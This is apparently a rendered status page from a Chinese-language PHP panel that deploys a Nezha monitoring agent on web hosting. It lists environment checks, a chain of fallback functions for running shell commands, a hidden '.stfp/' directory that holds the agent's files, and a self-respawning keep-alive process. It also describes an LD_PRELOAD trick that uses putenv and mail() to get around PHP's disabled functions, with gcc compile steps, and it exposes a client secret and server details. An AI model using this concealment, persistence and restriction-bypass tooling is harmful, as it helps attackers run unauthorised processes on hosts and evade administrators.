哪吒管理面板 v8.11b

nz.zxydk1715.dpdns.org:443 | IP: 154.53.44.13 | UUID: fdcd9987-d85c-4e72-abc4-61369e6ed8c5

🔒 UUID 已锁定 — 保存到 .nezha_uuid，不再随 IP 漂移

✅ 命令执行可用 (proc_open) + 🔓 LD_PRELOAD 绕过就绪

环境

PHP8.1.33 (litespeed)

架构x86_64

系统Linux 5.14.0-570.55.1.el9_6.x86_64

最佳方式proc_open

LD_PRELOAD✅

时间2026-08-28 02:06:03

📋 Agent 日志实时最后 3 行

[2026-08-28 04:05:58] 下载 agent (arch=amd64)... [2026-08-28 04:05:59] 下载成功 [2026-08-28 04:05:59] 启动... [2026-08-28 04:06:02] 成功 PID: 2403551

📋 执行结果

启动成功 method=proc_open PID: 2403551

🔑 UUID 已锁定

锁定UUIDfdcd9987-d85c-4e72-abc4-61369e6ed8c5

UUID文件存在

🔄 基于IP重置

进程运行中

状态✅ 运行

PID2403551

检测方式PID+/proc

详情PID 2403551 存活

▶ 启动 ⏹ 停止 🔍 状态 🧹 清理 🔬 综合诊断 🚀 试运行

文件

agent存在 18,469,026B可执行 0700

config存在 142B 0644

uuid存在 36B 0600

pid存在 8B 0644

log存在 160B 0644

run.sh存在 8,501B 0755

.htaccess存在 310B 0644

bypass.so不存在

📥 下载二进制 📄 run.sh 🔒 .htaccess

📁 所有文件已集中到 .stfp/ 隐藏目录：
agent / config / uuid / pid / log / run.sh / bypass.so / cmd.sh
外部主目录只剩 index.php 和 .htaccess

🔓 LD_PRELOAD 绕过可用

原理：putenv 设置 LD_PRELOAD → mail() 触发子进程 → 加载 .so → constructor 执行命令
条件：putenv + mail/error_log + bypass.so
当前：✅ 条件满足 (putenv+mail 可用)

putenv✅ OK - 环境变量设置成功

mail✅ sendmail_path=/usr/sbin/sendmail -t -i

error_log✅

ini_set✅

bypass.so❌ 不存在

C源码❌

🔧 准备绕过环境 🧪 测试绕过

💡 「准备绕过环境」按钮会依次尝试：① 从 GitHub 下载 .so → ② gcc 现场编译 .so → ③ 失败兜底写 .c 源码（用于本地编译后上传）

上传 bypass.so 步骤：
1. 点「准备绕过环境」自动下载或生成 C 源码
2. 如自动下载失败，本地用 gcc -shared -fPIC -o nezha_bypass.so nezha_bypass.so.c -nostartfiles 编译
3. 上传 .so 到 .stfp/ 目录，文件名 nezha_bypass.so
4. 点「测试绕过」验证

PHP 函数深度检测 proc_open

降级链: proc_open → popen → exec → shell_exec → system → passthru

proc_open进程打开(核心)执行

✅

popen管道打开执行

✅

execexec执行执行

✅

shell_execshell执行执行

✅

systemsystem执行执行

✅

passthrupassthru执行执行

✅

pcntl_execpcntl执行执行

⚠️

posix_killPOSIX杀进程

✅

posix_getpwuidPOSIX用户信息

✅

curl_initCURL初始化网络

✅

curl_execCURL执行网络

✅

fsockopenSocket连接网络

✅

file_put_contents写文件文件

✅

file_get_contents读文件文件

✅

chmod改权限文件

✅

mkdir建目录文件

✅

unlink删文件文件

✅

ZipArchiveZIP解压(类)解压

✅

session_startSession

⚠️

putenv设环境变量(绕过核心)绕过

✅

mailmail函数(绕过触发器)绕过

✅

error_logerror_log(备选触发器)绕过

✅

ini_setini_set(配置修改)绕过

✅

disable_functions

(无)

🔄 降级链

命令执行: proc_open → popen → exec → shell_exec → system → passthru → LD_PRELOAD 绕过
启动: run.sh → proc_open → popen → exec → LD_PRELOAD → sendmail_path
下载: PHP curl → shell curl → shell wget
解压: ZipArchive → shell unzip
停止: posix_kill → shell kill → LD_PRELOAD kill

网络

GitHub可达

ghgo.xyz可达

ghproxy不可达

TLS✅

TCP✅

🔌 测端口

🛡️ 自动保活未开启

三种工作方式（任选其一即可，可叠加）：
① PHP 自循环：开启保活后 PHP 派生后台进程，每 4 小时自动检查+拉起 agent（不需要任何外部触发器）
② 手动访问 URL：你随时可以浏览器访问 start.php 触发一次保活检查
③ 独立 run.sh：把 .stfp/run.sh 拷贝到任意机器/路径，SSH 进去 bash run.sh keepalive 即可保活（适合 PHP 域名不可达的主机）

保活入口https://www.jieke1715.infree.page/start.php

start.php❌ 未生成

PHP自循环—

✅ 开启保活 ❌ 关闭保活 🚀 手动触发 ⏸️ 仅停自循环

💡 点击「✅ 开启保活」会同时：
1. 生成 start.php 文件
2. 立即触发首次访问 → 派生 PHP 后台自循环进程（每 4 小时自动检查）
3. 你可以随时手动访问 URL 触发一次保活检查

⚠️ 保活有效性依赖 start.php 和 .stfp/run.sh 文件本身存在

配置

client_secret: "BFbvpxSlBTUugp3gDzezVKkZ22BV0CeL" server: "nz.zxydk1715.dpdns.org:443" tls: true uuid: "fdcd9987-d85c-4e72-abc4-61369e6ed8c5"

哪吒管理面板 v8.11b (LD_PRELOAD 触发恢复 + 安全熔断 + 文件管理器) | mail() 真调版

哪吒管理面板 v8.11b

环境

📋 Agent 日志 实时 最后 3 行